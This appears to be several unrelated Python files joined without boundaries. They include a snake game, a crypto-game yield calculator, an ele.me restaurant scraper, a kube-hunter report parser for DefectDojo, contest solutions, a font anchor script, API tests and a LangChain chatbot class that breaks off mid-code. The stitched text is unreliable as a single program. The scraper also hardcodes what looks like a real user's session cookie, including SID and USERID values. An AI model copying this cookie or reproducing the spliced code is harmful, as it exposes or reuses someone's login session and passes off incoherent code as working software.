from tkinter import NSEW
from turtle import Screen, colormode
import time
from snake import Snake
from food import Food
from scoreboard import ScoreBoard

"""_____ _   _          _  ________    _____          __  __ ______
  / ____| \ | |   /\   | |/ /  ____|  / ____|   /\   |  \/  |  ____|
 | (___ |  \| |  /  \  | ' /| |__    | |  __   /  \  | \  / | |__
  \___ \| . ` | / /\ \ |  < |  __|   | | |_ | / /\ \ | |\/| |  __|
  ____) | |\  |/ ____ \| . \| |____  | |__| |/ ____ \| |  | | |____
 |_____/|_| \_/_/    \_\_|\_\______|  \_____/_/    \_\_|  |_|______|"""

screen = Screen()
screen.setup(600, 600)
screen.bgcolor("black")
screen.title("Snake Game")
screen.tracer(0)

colormode(255)
segment_list = []
snake = Snake()
food = Food()
scoreboard = ScoreBoard()
screen.listen()

screen.onkey(snake.up, "Up")
screen.onkey(snake.down, "Down")
screen.onkey(snake.left, "Left")
screen.onkey(snake.right, "Right")

game_on = True
count = 0
sleep_time = 0.1

while game_on:
    screen.update()
    scoreboard.score_count(count)
    time.sleep(sleep_time)
    snake.move()

    if snake.head.distance(food.food) < 20:

        if len(snake.sgements) % 10 == 3:
            sleep_time -= 0.009

        snake.extend_snake()
        food.refresh()
        scoreboard.scoreboard.clear()
        count += 100

    if snake.head.xcor() > 299:
        snake.head.goto(-280, snake.head.ycor())
    elif snake.head.xcor() < -299:
        snake.head.goto(280, snake.head.ycor())
    elif snake.head.ycor() > 299:
        snake.head.goto(snake.head.xcor(), -280)
    elif snake.head.ycor() < -299:
        snake.head.goto(snake.head.xcor(), 280)

    for segment in snake.sgements[1:]:
        if snake.head.distance(segment) < 10:
            scoreboard.game_over()
            game_on = False
            break

screen.exitonclick()


# misc helper functions

import math
import pandas as pd
import seaborn as sns
import numpy as np
import random
import matplotlib.pyplot as plt
import requests

BASE_RATE = [20, 10, 5, 2] #ordered by FUD, FOMO, ALPHA, KEK
plot_size_array = [1, 2, 4, 8, 16, 32, 64]
SPILLOVER_COLLECTION_RATE = 0.3 # this will depend on radius and size of parcel

try:
    URL = "https://api.coingecko.com/api/v3/simple/price?ids=aavegotchi-fud%2Caavegotchi-fomo%2Caavegotchi-alpha%2Caavegotchi-kek%2Caavegotchi&vs_currencies=usd"
    result = requests.get(url = URL).json()

    fud_factor = 1.0
    fomo_factor = result['aavegotchi-fomo']['usd']/result['aavegotchi-fud']['usd']
    alpha_factor = result['aavegotchi-alpha']['usd']/result['aavegotchi-fud']['usd']
    kek_factor = result['aavegotchi-kek']['usd']/result['aavegotchi-fud']['usd']
except:
    print("unable to get token factors from the API")
    fud_factor = 1.0
    fomo_factor = 2.0
    alpha_factor = 10.0
    kek_factor = 20.0

class Yield:
    fud = 0
    fomo = 0
    alpha = 0
    kek = 0
    def __init__(self, fud = 0, fomo = 0, alpha = 0, kek = 0):
        self.fud = fud
        self.fomo = fomo
        self.alpha = alpha
        self.kek = kek

    def add_yield(self, y1):
        self.fud += y1.fud
        self.fomo += y1.fomo
        self.alpha += y1.alpha
        self.kek += y1.kek

    def substract_yield(self, y1):
        self.fud -= y1.fud
        self.fomo -= y1.fomo
        self.alpha -= y1.alpha
        self.kek -= y1.kek

    def add_yield_by_base_rate(self, base_rate, factor):
        # base rate is a 4 dimensional array
        self.fud += base_rate[0] * factor
        self.fomo += base_rate[1] * factor
        self.alpha += base_rate[2] * factor
        self.kek += base_rate[3] * factor

    def get_total_yield_in_fud(self):
        try:
            URL = "https://api.coingecko.com/api/v3/simple/price?ids=aavegotchi-fud%2Caavegotchi-fomo%2Caavegotchi-alpha%2Caavegotchi-kek%2Caavegotchi&vs_currencies=usd"
            result = requests.get(url = URL).json()

            fud_factor = 1.0
            fomo_factor = result['aavegotchi-fomo']['usd']/result['aavegotchi-fud']['usd']
            alpha_factor = result['aavegotchi-alpha']['usd']/result['aavegotchi-fud']['usd']
            kek_factor = result['aavegotchi-kek']['usd']/result['aavegotchi-fud']['usd']
        except:
            print("unable to get token factors from the API")
            fud_factor = 1.0
            fomo_factor = 2.0
            alpha_factor = 10.0
            kek_factor = 20.0

        return fud_factor*self.fud + fomo_factor*self.fomo + alpha_factor*self.alpha + kek_factor*self.kek

    def diplay(self):
        print("FUD: {}\nFOMO: {}\nALPHA: {}\nKEK: {}".format(self.fud, self.fomo, self.alpha, self.kek))

CHANNELING_RATE_IN_HOURS = {0: float('inf'),
    1:24, 2:18, 3:12, 4:8,
    5:6, 6:4, 7:3, 8:2, 9:1
}

INCLUDE_SPILLOVER_COMPUTATION = False

altaar_cost_df = pd.read_csv("data/altaar_cost.csv")
altaar_cost_df = altaar_cost_df.replace(',','', regex=True)

altaar_built_time_dict = { altaar_cost_df['Level'][i]: altaar_cost_df['Buid Time (Days) '][i] for i in range(altaar_cost_df.shape[0]) }

altaar_built_cost_dict_in_alchemica = {
    altaar_cost_df['Level'][i]: Yield(fud = int(altaar_cost_df['FUD'][i]),
                                      fomo = int(altaar_cost_df['FOMO'][i]),
                                      alpha = int(altaar_cost_df['ALPHA'][i]),
                                      kek = int(altaar_cost_df['KEK'][i]),
                                     )
    for i in range(altaar_cost_df.shape[0])
}

altaar_built_cost_dict = { altaar_cost_df['Level'][i]:
                          fud_factor*int(altaar_cost_df['FUD'][i])+
                          fomo_factor*int(altaar_cost_df['FOMO'][i])+
                          alpha_factor*int(altaar_cost_df['ALPHA'][i])+
                          kek_factor*int(altaar_cost_df['KEK'][i])
                          for i in range(altaar_cost_df.shape[0]) }

yield_at_base_rate = fud_factor*BASE_RATE[0]+ \
                    fomo_factor*BASE_RATE[1] + \
                    alpha_factor*BASE_RATE[2] + \
                    kek_factor*BASE_RATE[3]

"""
this function will be used once there is more information how spill varies according to radius
"""
def spill_radius_function(x_len, y_len):
    tmp_array = [[0]*x_len for i in range(y_len)]
    mid_x = x_len/2.0
    mid_y = y_len/2.0

    for i in range(x_len):
        for j in range(y_len):
            pixel_x = i+0.5
            pixel_y = j+0.5
            dist_from_mid = math.sqrt(math.pow(mid_x-pixel_x, 2) + math.pow(mid_y-pixel_y, 2))

            tmp_array[i][j] = dist_from_mid

    return tmp_array

spill_radius_function(3,3)

"""
this is a simple spill collection function which depends on size of parcel
spillover collection is 1 for 64X64
splillover collection for k X k = (k/64)*(k/64)
"""

def spill_collection_rate(x_len, y_len):

    return (x_len/64)*(y_len/64)

"""
This function computes yield which an altaar which generate in 1 day, given the following parameters
1. kinships of all the available gotchis
2. the level of altaar
3. dimension of the parcel

yield = yield_from_altaar + yield_from_spillover,

where,

actual_yield = frequency_of_channel x base_rate_yield x channeling_modifier
yield_from_altaar = actual_yield x (1-spillover_rate)
yield_from_spillover = actual_yield x spillover_rate x collection_rate
"""

def get_yield_for_the_day(gotchi_kinship_array, altaar_level, parcel_dim):

    yield_obj = Yield()

    x, y = parcel_dim

    spillover_rate = (50 - (altaar_level-1)*5)/100.0

    channeling_modifier_array = sorted([math.sqrt(ele/50) for ele in gotchi_kinship_array], reverse=True) #start by using gotchi's who have more kinship

    channel_frequency = int(24/CHANNELING_RATE_IN_HOURS[altaar_level])

    total_yield = 0
    for i in range(min(len(gotchi_kinship_array), int(channel_frequency))):

        #yield from the altaar
        total_yield += int(channeling_modifier_array[i]*yield_at_base_rate*(1-spillover_rate))

        yield_obj.add_yield_by_base_rate(BASE_RATE, channeling_modifier_array[i]*(1-spillover_rate))

        if INCLUDE_SPILLOVER_COMPUTATION:
            total_yield += int(channeling_modifier_array[i]*yield_at_base_rate*spillover_rate * spill_collection_rate(x, y))
            yield_obj.add_yield_by_base_rate(BASE_RATE, channeling_modifier_array[i]*spillover_rate * spill_collection_rate(x, y))

    return total_yield, yield_obj

"""
TODO: need to implement this function covering all the types of scenarios
1. day will be divided into 2 parts. one with the original altar, 2nd with the upgraded altar
2. gotchi's need to make a choice which altaar to channel, depending on how many channel frequency are available in each
3. preferably gotchi's should channel the upgraded altar
"""
def get_yield_for_the_upgrade_day(gotchi_kinship_array, altaar_level, parcel_dim, pending_built_time):
    # using the same function as of now, will work on this function later
    return get_yield_for_the_day(gotchi_kinship_array, altaar_level, parcel_dim)

def future_yield_by_current_altaar(gotchi_kinship_array, altaar_level, parcel_dim, num_days):

    gotchi_array = gotchi_kinship_array.copy()

    yield_till_now = 0
    for i in range(num_days):
        yield_till_now += get_yield_for_the_day(gotchi_array, altaar_level, parcel_dim)[0]
        gotchi_array[:] = map(lambda x: x+2, gotchi_array) # gotchi kinships increase by 2 everyday

    return yield_till_now

def get_breakeven_time(Parcels, num_days):

    daywise_profit_yield_array = [0]*num_days

    for parcel in Parcels:
        total_yield_till_now = 0
        profit_yield_till_now = 0
        yield_obj = Yield()
        profit_yield_obj = Yield()

        parcel_dim = parcel.dim
        target_altaar_level = parcel.altaar_level
        gotchi_kinship_array = parcel.gotchi_kinship_array

        current_altaar = 1
        pending_built_time_for_next_altaar = math.inf if current_altaar >= target_altaar_level else altaar_built_time_dict[current_altaar+1]

        for i in range(num_days):

            if current_altaar > target_altaar_level:
                break

            if pending_built_time_for_next_altaar <=1:

                t1 = get_yield_for_the_upgrade_day(gotchi_kinship_array, current_altaar, parcel_dim, pending_built_time_for_next_altaar)

                yield_obj.add_yield(t1[1])
                profit_yield_obj.add_yield(t1[1])
                profit_yield_obj.substract_yield(altaar_built_cost_dict_in_alchemica[current_altaar+1])

                altaar_built_cost_dict_in_alchemica

                total_yield_till_now += t1[0]
                profit_yield_till_now += t1[0] - altaar_built_cost_dict[current_altaar+1]

                if current_altaar == target_altaar_level-1:
                    current_altaar = current_altaar + 1
                    pending_built_time_for_next_altaar = math.inf
                elif current_altaar == target_altaar_level:
                    pending_built_time_for_next_altaar = math.inf
                else:
                    current_altaar = current_altaar + 1
                    pending_built_time_for_next_altaar = altaar_built_time_dict[current_altaar+1]

            else:
                t1 = get_yield_for_the_day(gotchi_kinship_array, current_altaar, parcel_dim)

                yield_obj.add_yield(t1[1])
                profit_yield_obj.add_yield(t1[1])

                total_yield_till_now += t1[0]
                profit_yield_till_now += t1[0]

                pending_built_time_for_next_altaar -= 1

            daywise_profit_yield_array[i] += profit_yield_till_now
            gotchi_kinship_array = [ele+2 for ele in gotchi_kinship_array]

            #print("day {}, current level {}, pending time {}, current total yield {}".format(i+1, current_altaar, pending_built_time_for_next_altaar, total_yield_till_now))

#     print("----------------------------------------")
#     print("total yield --> {}, profit yield --> {}".format(total_yield_till_now, profit_yield_till_now))
#     print("\n")
#     yield_obj.diplay()
#     print(yield_obj.get_total_yield_in_fud())

#     print("\n")
#     profit_yield_obj.diplay()
#     print(profit_yield_obj.get_total_yield_in_fud())

    last_neg = 0
    for i, ele in enumerate(daywise_profit_yield_array):
        if ele<=0:
            last_neg = i

    #print(daywise_total_yield_array)

    if last_neg == num_days-1:
        return -1, yield_obj, profit_yield_obj

    return last_neg, yield_obj, profit_yield_obj

"""
Given (a) number of days (b) maximum allowed altaar built,
this function computes the maximum yield possible, and till what level should the altaar be upgraded
"""
def gameplay_v3(gotchi_kinship_array, num_days, current_altaar, parcel_dim, max_allowed_altaar):

    pending_built_time_for_next_altaar = math.inf if current_altaar >= max_allowed_altaar else altaar_built_time_dict[current_altaar+1]

    total_yield_till_now = 0

    max_expected_yield = 0
    max_yield_level = 0

    for i in range(num_days):

        if pending_built_time_for_next_altaar <=1: #altaar can be made current day

            total_yield_till_now += get_yield_for_the_upgrade_day(gotchi_kinship_array, current_altaar, parcel_dim, pending_built_time_for_next_altaar)[0]

            #print("kinship array {}, altaar level {} parcel dim {} pendinng time {} total yield {}".format(gotchi_kinship_array, current_altaar, parcel_dim, pending_built_time_for_next_altaar, get_yield_for_the_upgrade_day(gotchi_kinship_array, current_altaar, parcel_dim, pending_built_time_for_next_altaar)))

            total_yield_till_now -= altaar_built_cost_dict[current_altaar+1]  #reducing the total cost for building the altaar
            #print("came here {} {}".format(altaar_built_cost_dict[current_altaar+1], total_yield_till_now))

            if current_altaar == max_allowed_altaar-1:
                current_altaar = current_altaar + 1
                pending_built_time_for_next_altaar = math.inf
            elif current_altaar == max_allowed_altaar:
                pending_built_time_for_next_altaar = math.inf
            else:
                current_altaar = current_altaar + 1
                pending_built_time_for_next_altaar = altaar_built_time_dict[current_altaar+1]

        else:
            total_yield_till_now += get_yield_for_the_day(gotchi_kinship_array, current_altaar, parcel_dim)[0]
            pending_built_time_for_next_altaar -= 1

        #print("day {}, current level {}, pending time {}, current total yield {}".format(i+1, current_altaar, pending_built_time_for_next_altaar, total_yield_till_now))

        future_yield = future_yield_by_current_altaar(gotchi_kinship_array, current_altaar, parcel_dim, num_days-i-1)

        if total_yield_till_now + future_yield > max_expected_yield:
            max_expected_yield = total_yield_till_now + future_yield
            max_yield_level = current_altaar

        gotchi_kinship_array = [ele+2 for ele in gotchi_kinship_array]

    return max_expected_yield, max_yield_level

def compute_yield_dict(days, avg_gotchi):
    return {
        (8, 8): [gameplay_v3(gotchi_kinship_array=[avg_gotchi],
                                                num_days=days,
                                                current_altaar=1,
                                                parcel_dim = [8, 8],
                                                max_allowed_altaar=level+1)
                 for level in range(9)],
        (16, 16): [gameplay_v3(gotchi_kinship_array=[avg_gotchi],
                                                num_days=days,
                                                current_altaar=1,
                                                parcel_dim = [16, 16],
                                                max_allowed_altaar=level+1)
                 for level in range(9)],
        (32, 64): [gameplay_v3(gotchi_kinship_array=[avg_gotchi],
                                                num_days=days,
                                                current_altaar=1,
                                                parcel_dim = [32, 64],
                                                max_allowed_altaar=level+1)
                 for level in range(9)],
    }


import requests
import json
from mongo_utils import MongoHelp
from redis_utils import RedisHelp
import time
import random
from settings import location

class WuhanShopSpider:
	def __init__(self, longitude = "", latitude = "", cookie = ""):
		self.mongo_handle = MongoHelp()
		self.redis_handle = RedisHelp()
		self.latitude = latitude  	#"30.507612"
		self.longitude = longitude	#"114.397851"
		self.cookie = "ubt_ssid=9iojnt64586grmdmmid6u14xz8uha0y6_2019-10-28; perf_ssid=ukns9lpxpgld7e0gva9fs7jj6s7zjnn8_2019-10-28; cna=pNgpFtGYmVkCAXWINNuscU5A; isg=BPT0Jn6YFZGoHoHduXkRFygoxrumZTN8FSLjHo5WN3-t-ZJDs9x1R8v4efGEGlAP; l=dBNA1Nw7q3BNwf1iBOfNcuIRXMbt2QdVhkPzw4ZI6ICP_x5OJCROWZQrer8pCn1Vns19W3u2coLyBo8FZz1L3taNr6ZFm7KiUp8h.; _utrace=ae4192682af2b15d9220c8adcc16388e_2019-10-28; ut_ubt_ssid=pff7h1w3prevpufv4t7zxc6xq5byeq8k_2019-10-28; UTUSER=143389539; track_id=1572249249|386106bf620a320bb1fecbbf6e4f072903fc2dcedcf2f262c8|06c6292029cdb83978690e08436ba108; USERID=143389539; SID=c1Mkb0wH3jyP7pcqCHFuY05GVVlyhwSbVjkg; ZDS=1.0|1572249249|DUrRByPW7TytTSZ7SgrkVrWqxe5eUlf+neGA4T56HDLNFb/MwOu05sozg9ItWpG2; tzyy=27caefd5592bb0ca84c0c1a42b6da956; pizza73686f7070696e67=aKonJFn5Q5TBxydFSWJGpiBmhOWjFOVmBOjsZD1Vum7pYBvm9S_Rrqar8J759t3m"
		self.headers = {
			"Host": "www.ele.me",
			"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0",
			"Accept": "application/json, text/plain, */*",
			"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
			"Accept-Encoding": "gzip, deflate, br",
			"x-shard": "loc='{},{}'.format(self.longitude, self.latitude)",    #114.397851 , 30.507612
			"Connection": "keep-alive",
			"Referer": "https://www.ele.me/place/wt3me1tzxph6?latitude=30.507612&longitude=114.397851",
			"Cookie": self.cookie,
			"Cache-Control": "max-age=0",
			"TE": "Trailers",
		}

	def save_shop_info(self):
		"""
		请求获取Json数据，redis判重，存储至mongo
		"""

		offset_set = [i for i in range(0, 500, 24)]
		for offset in offset_set:
			restaurant_url = 'https://www.ele.me/restapi/shopping/restaurants?extras%5B%5D=activities&geohash=wt3me1tzxph6&latitude={}&limit=24&longitude={}&offset={}&restaurant_category_ids%5B%5D=-100&restaurant_category_ids%5B%5D=207&restaurant_category_ids%5B%5D=220&restaurant_category_ids%5B%5D=260&restaurant_category_ids%5B%5D=233&restaurant_category_ids%5B%5D=-102&restaurant_category_ids%5B%5D=-103&restaurant_category_ids%5B%5D=-104&restaurant_category_ids%5B%5D=-105&restaurant_category_ids%5B%5D=-107&restaurant_category_ids%5B%5D=-106&'.format(self.latitude, self.longitude, offset)
			res = requests.get(url = restaurant_url, headers = self.headers)

			#解析出服务端设置的cookie
			receive_cookie = str(res.headers['Set-Cookie'].split(";")[0])
			#拼凑新的cookie
			new_cookie = ';'.join(res.request.headers['Cookie'].split(";")[:-1]) + '; ' + receive_cookie
			#设置头部,下一次请求带上该头部信息
			self.headers['Cookie'] = new_cookie

			restaurant_set = json.loads(res.text)
			for i in range(len(restaurant_set)):
				restaurant_id = restaurant_set[i]['id']
				restaurant_name = restaurant_set[i]['name']

				# 该店铺信息已经在数据库中
				if self.redis_handle.is_member(restaurant_id + restaurant_name):
					print("continue")
					continue

				#从json中解析数据

				restaurant_image_path = restaurant_set[i]['image_path'] #img path
				restaurant_business_info = restaurant_set[i]['business_info'] #img path
				restaurant_opening_hours = ','.join(restaurant_set[i]['opening_hours'])
				restaurant_flavors = ','.join( [flavor['name'] for flavor in restaurant_set[i]['flavors']] )
				restaurant_rating = restaurant_set[i]['rating'] #综合评价
				restaurant_latitude = restaurant_set[i]['latitude']
				restaurant_longitude = restaurant_set[i]['longitude']
				restaurant_recent_order_num = restaurant_set[i]['recent_order_num']
				restaurant_promotion_info = restaurant_set[i]['promotion_info']

				#存储文档至mongodb
				document = {}
				document['restaurant_id'] = restaurant_id
				document['restaurant_name'] = restaurant_name
				document['restaurant_image_path'] = restaurant_image_path
				document['restaurant_business_info'] = restaurant_business_info
				document['restaurant_opening_hours'] = restaurant_opening_hours
				document['restaurant_flavors'] = restaurant_flavors
				document['restaurant_rating'] = restaurant_rating
				document['restaurant_latitude'] = restaurant_latitude
				document['restaurant_longitude'] = restaurant_longitude
				document['restaurant_recent_order_num'] = restaurant_recent_order_num
				document['restaurant_promotion_info'] = restaurant_promotion_info
				self.mongo_handle.insert(document)

				#将该店铺ID保存至redis中，表示该店铺信息已经在Mongo中
				self.redis_handle.add_set_data(restaurant_id + restaurant_name)

				#日志
				print(restaurant_id)
				print(restaurant_name)
				print(restaurant_image_path)
				print(restaurant_business_info)
				print(restaurant_opening_hours)
				print(restaurant_flavors)
				print(restaurant_rating)
				print(restaurant_latitude)
				print(restaurant_longitude)
				print(restaurant_recent_order_num)
				print(restaurant_promotion_info)
				print("==" * 20)
			time.sleep(random.randint(6,8))

WuhanShopSpider(location[0][0], location[0][1]).save_shop_info()


import hashlib
import json
from dojo.models import Finding

class KubeHunterParser(object):
    """
    kube-hunter hunts for security weaknesses in Kubernetes clusters. The tool was developed to increase awareness and visibility for security issues in Kubernetes environments.
    """

    def get_scan_types(self):
        return ["KubeHunter Scan"]

    def get_label_for_scan_types(self, scan_type):
        return "KubeHunter Scan"

    def get_description_for_scan_types(self, scan_type):
        return "KubeHunter JSON vulnerability report format.."

    def get_findings(self, file, test):
        data = json.load(file)

        dupes = dict()

        # Find any missing attribute
        vulnerabilities = data['vulnerabilities']
        check_required_attributes(vulnerabilities)

        for item in vulnerabilities:
            vulnerability_id = item.get('vid')
            title = item['vulnerability']

            # Finding details information
            findingdetail = '**Hunter**: ' + item.get('hunter') + '\n\n'
            findingdetail += '**Category**: ' + item.get('category') + '\n\n'
            findingdetail += '**Location**: ' + item.get('location') + '\n\n'
            findingdetail += '**Description**:\n' + item.get('description') + '\n\n'

            # Finding severity
            severity = item.get('severity', 'info')
            allowed_severity = ['info', 'low', 'medium', 'high', "critical"]
            if severity.lower() in allowed_severity:
                severity = severity.capitalize()
            else:
                severity = 'Info'

            # Finding mitigation and reference
            avd_reference = item.get('avd_reference')

            if avd_reference and avd_reference != '' and vulnerability_id != 'None':
                mitigation = f"Further details can be found in kube-hunter documentation available at : {avd_reference}"
                references = "**Kube-hunter AVD reference**: " + avd_reference
            else:
                mitigation = None
                references = None

            # Finding evidence
            evidence = item.get('evidence')
            if evidence and evidence != '' and evidence != 'none':
                steps_to_reproduce = '**Evidence**: ' + item.get('evidence')
            else:
                steps_to_reproduce = None

            finding = Finding(
                title=title,
                test=test,
                description=findingdetail,
                severity=severity,
                mitigation=mitigation,
                references=references,
                static_finding=False,
                dynamic_finding=True,
                duplicate=False,
                out_of_scope=False,
                vuln_id_from_tool=vulnerability_id,
                steps_to_reproduce=steps_to_reproduce
            )

            # internal de-duplication
            if finding.steps_to_reproduce is None:
                finding.steps_to_reproduce = ''
            dupe_key = hashlib.sha256(str(finding.description + finding.title + finding.steps_to_reproduce + finding.vuln_id_from_tool).encode('utf-8')).hexdigest()

            if dupe_key not in dupes:
                dupes[dupe_key] = finding

        return list(dupes.values())

def check_required_attributes(vulnerabilities):
    required_attributes = ["hunter", "category", "location", "description", "evidence", "avd_reference", "severity"]

    missing_vulnerabilities = []

    for idx, vulnerability in enumerate(vulnerabilities, start=1):
        missing_attributes = [attr for attr in required_attributes if attr not in vulnerability]

        if missing_attributes:
            missing_vulnerabilities.append(f"Vulnerability {idx}: Missing attributes: {', '.join(missing_attributes)}")

    if missing_vulnerabilities:
        raise ValueError("\n`".join(missing_vulnerabilities))


ax,ay,bx,by = map(int,input().split())
n = int(input())
def helper(ax,ay,bx,by,x,y):
    ans = (by-ay)*(x-ax)-(bx-ax)*(y-ay)
    return 1 if ans>0 else -1
cnt = 0
L = []
for i in range(n):
    x,y = map(int,input().split())
    L.append((x,y))
L.append(L[0])
for i in range(n):
    if helper(ax,ay,bx,by,L[i][0],L[i][1])*helper(ax,ay,bx,by,L[i+1][0],L[i+1][1])<0 and helper(L[i][0],L[i][1],L[i+1][0],L[i+1][1],ax,ay)*helper(L[i][0],L[i][1],L[i+1][0],L[i+1][1],bx,by)<0:
        cnt += 1
print(1+cnt//2)


#!/usr/bin/env python3

import fontforge
from palaso.font.fontforge import addAnchorClass
from xml.etree import ElementTree
import sys, os
from optparse import OptionParser

class Point :
    def __init__(self, name, type, x, y) :
        self.name = name
        self.x = x
        self.y = y
        self.type = type    # base or mark only

    def change_name(self, name) :
        self.name = name

    def copy(self, name) :
        return Point(name, self.type, self.x, self.y)

class Glyph :
    def __init__(self, etree) :
        self.isDia = False
        self.aps = []
        self.props = {}
        n = etree.find('note')
        self.notes = n.text if n is not None else ""
        for p in etree.iterfind('property') :
            self.notes = p.get('name') + ': ' + p.get('value') + "\n" + self.notes

    def set_isDia(self) :
        self.isDia = True

    def addAp(self, name, type, x, y) :
        self.aps.append(Point(name, type, x, y))

    def handleboths(self, pointinfo) :
        extras = []
        for p in self.aps :
            if pointinfo[p.name] != "both" : continue
            if p.type == "mark" :
                extras.append(p.copy(p.name + "M"))
            elif self.isDia :
                p.change_name(p.name + "M")

pointinfo = {}
glyphs = {}

parser = OptionParser(usage="usage: %prog [options] infontfile ap.xml outfontfile")
parser.add_option("-b", "--base", help="List of AP names that don't imply a diacritic")

(opts, args) = parser.parse_args()

nondias = set(opts.base.split())
aps = ElementTree.parse(args[1])

# analyse APs to find whether each is a base, mark or both. If both then
# need to generate 2 APs for each _a and an am when a is used as a base on
# a diacritic

# collect all points, work out what type each point is
for ap in aps.iterfind(".//glyph") :
    name = ap.get("PSName")
    g = Glyph(ap)
    glyphs[name] = g
    for p in ap.iterfind("point") :
        n = p.get("type")
        if not n : continue
        loc = p.find("location")
        if loc is None : continue

        if n.startswith("_") :
            n = n[1:]
            g.addAp(n, "mark", int(loc.get('x')), int(loc.get('y')))
            if n not in nondias : g.set_isDia()
        else :
            g.addAp(n, "base", int(loc.get('x')), int(loc.get('y')))
    for p in g.aps :
        if p.type == "mark" : continue
        if g.isDia :
            if p.name in pointinfo and pointinfo[p.name] != "mark" :
                pointinfo[p.name] = "both"
            else :
                pointinfo[p.name] = "mark"
        else :
            if p.name in pointinfo and pointinfo[p.name] != "base" :
                pointinfo[p.name] = "both"
            else :
                pointinfo[p.name] = "base"

# duplicate or rename aps and reset both to base + mark
for g in glyphs.values() :
    g.handleboths(pointinfo)

font = fontforge.open(os.path.abspath(args[0]))

for k, v in pointinfo.items() :
    if v == "both" :
        pointinfo[k + "M"] = "mark"
        pointinfo[k] = "base"
        addAnchorClass(font, k + "M", type = "mark")
    addAnchorClass(font, k, type = pointinfo[k])

for name in font :
    if name not in glyphs : continue
    g = font[name]
    gl = glyphs[name]
    for p in gl.aps :
        if p.type == "mark" :
            g.addAnchorPoint(p.name, p.type, p.x, p.y)
        else :
            g.addAnchorPoint(p.name, "basemark" if pointinfo[p.name] == "mark" else "base", p.x, p.y)
    g.comment = gl.notes

font.save(args[2])


# 제일 작은 index를 출력하는 것이기 때문에 별도의 query함수 없이 1번째 node를 출력해주면 됩니다.

import sys, math
input = sys.stdin.readline

def tree_make(node):
    if a[tree[node * 2]] <= a[tree[node * 2 + 1]]:
        tree[node] = tree[node * 2]
    else:
        tree[node] = tree[node * 2 + 1]

def init(node, st, end):
    if st == end:
        tree[node] = st
    else:
        mid = (st + end) // 2
        init(node*2, st, mid)
        init(node*2 + 1, mid+1, end)
        tree_make(node)

def update(node, st, end, ind, val):
    if ind < st or ind > end:
        return
    if st == end:
        tree[node] = ind
        a[ind] = val
        return
    mid = (st + end) // 2
    update(node * 2, st, mid, ind, val)
    update(node * 2 + 1, mid + 1, end, ind, val)
    tree_make(node)

n = int(input())
a = list(map(int, input().split()))
tree = [0]*(1 << (math.ceil(math.log2(n))+1))
init(1, 0, n-1)
for _ in range(int(input())):
    x = list(map(int, input().split()))
    if x[0] == 1:
        update(1, 0, n-1, x[1]-1, x[2])
    else:
        print(tree[1]+1)


# -*- coding: utf-8 -*-

import warnings

# VMware vRealize Log Insight Exporter
# Copyright © 2017 VMware, Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not
# use this file except in compliance with the License. You may obtain a copy of
# the License at http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software distributed
# under the License is distributed on an “AS IS” BASIS, without warranties or
# conditions of any kind, EITHER EXPRESS OR IMPLIED. See the License for the
# specific language governing permissions and limitations under the License.

def test_get_version(ui):
    with warnings.catch_warnings(record=True) as w:
        assert 'version' in ui.get("/api/v1/version").json()
    ui._requestsession.close()

def test_get_version_without_credentials(ui):
    assert 'Credentials' in str(ui)
    ui._authprovider = None
    assert 'Credentials' not in str(ui)

    with warnings.catch_warnings(record=True) as w:
        assert 'version' in ui.get("/api/v1/version").json()
    ui._requestsession.close()


aluno1 = input("Qual o primeiro aluno ?")
aluno2 = input("segundo aluno ?")
aluno3 = input("terceiro aluno ?")
aluno4 = input("quarto aluno ?")

alunos = aluno1, aluno2, aluno3, aluno4

import random
alunox = random.choice(alunos)
print(f"O aluno que deve apagar o quadro é : {alunox}")


import json

from langchain.llms import AI21

from core.constants.prompts import (
    system_prompt,
    action_prompt,
    gather_prompt,
    intent_prompt,
)
from core.constants.prompts import (
    message_prompt_template,
    message_intent_template,
    message_successful,
    message_error,
)
from core.models.intents import Intent
from core.execute_action import ExecuteIntent
from core.text_format.message_format import (
    format_conversation_with_incoming,
    parse_intents,
)
from core.text_format.message_format import (
    parse_action_confirmation,
    parse_data_parameters,
)

from langchain.chains import ConversationChain, LLMChain
from langchain.chat_models import ChatOpenAI
from langchain.memory import ConversationBufferMemory, RedisChatMessageHistory
from langchain.prompts import (
    ChatPromptTemplate,
    HumanMessagePromptTemplate,
    MessagesPlaceholder,
    PromptTemplate,
    SystemMessagePromptTemplate,
)
from app.config.settings import settings
from typing import Union

class FlowGenius:
    def __init__(self, _id, business_path):
        self.conversation_id: str = _id
        self.business_path: str = business_path

        self.intents: Union[list[Intent], None] = None
        self.auth: Union[dict, None] = None

        self.history: Union[RedisChatMessageHistory, None] = None
        self.memory: Union[ConversationBufferMemory, None] = None
        self.memory_key: str = "history"

        self.conversation_llm: ChatOpenAI | AI21 = ChatOpenAI(
            temperature=0, model_name="gpt-3.5-turbo"
        )
        self.intent_llm: ChatOpenAI | AI21 = AI21(
            temperature=0, model="j2-jumbo-instruct"
        )

        self.schema_llm: ChatOpenAI | AI21 = AI21(
            temperature=0, model="j2-jumbo-instruct"
        )

        self.confirmation_llm: ChatOpenAI | AI21 = AI21(
            temperature=0, model="j2-jumbo-instruct"
        )

        self.verbose: bool = settings.verbose

        self.load_business_data()

        self.execute_intent_class = ExecuteIntent(self.auth)

        self.history = RedisChatMessageHistory(
            session_id=self.conversation_id, url=settings.redis_url
        )
        self.memory = ConversationBufferMemory(
            memory_key=self.memory_key, return_messages=True, chat_memory=self.history
        )

    class Config:
        arbitrary_types_allowed = True

    def converse(self, message: str) -> str:
        messages_template = [
            SystemMessagePromptTemplate.from_template(system_prompt),
            MessagesPlaceholder(variable_name=self.memory_key),
            HumanMessagePromptTemplate.from_template("{input}"),
        ]

        formatted_conversation = format_conversation_with_incoming(
            self.history.messages, message
        )
        predicted_intents = self.predict_intents(formatted_conversation)

        should_we_gather_data = True
        for i, intent in enumerate(predicted_intents, 1):
            data_collected = self.predict_gathered_data_for_intent(
                intent, formatted_conversation
            )

            try:
                parsed_info = parse_data_parameters(
                    intent.action_parameters, data_collected
                )

                should_we_gather_data = False

                execute_intent = self.predict_check_for_intent_action(
                    intent=intent,
                    formatted_conversation=formatted_conversation,
                    customer_info=data_collected,
                )

                if execute_intent:
                    (
                        response_action,
                        execution_ok,
                    ) = self.execute_intent_class.execute_action(intent, parsed_info)

                    if execution_ok:
                        messages_template.append(
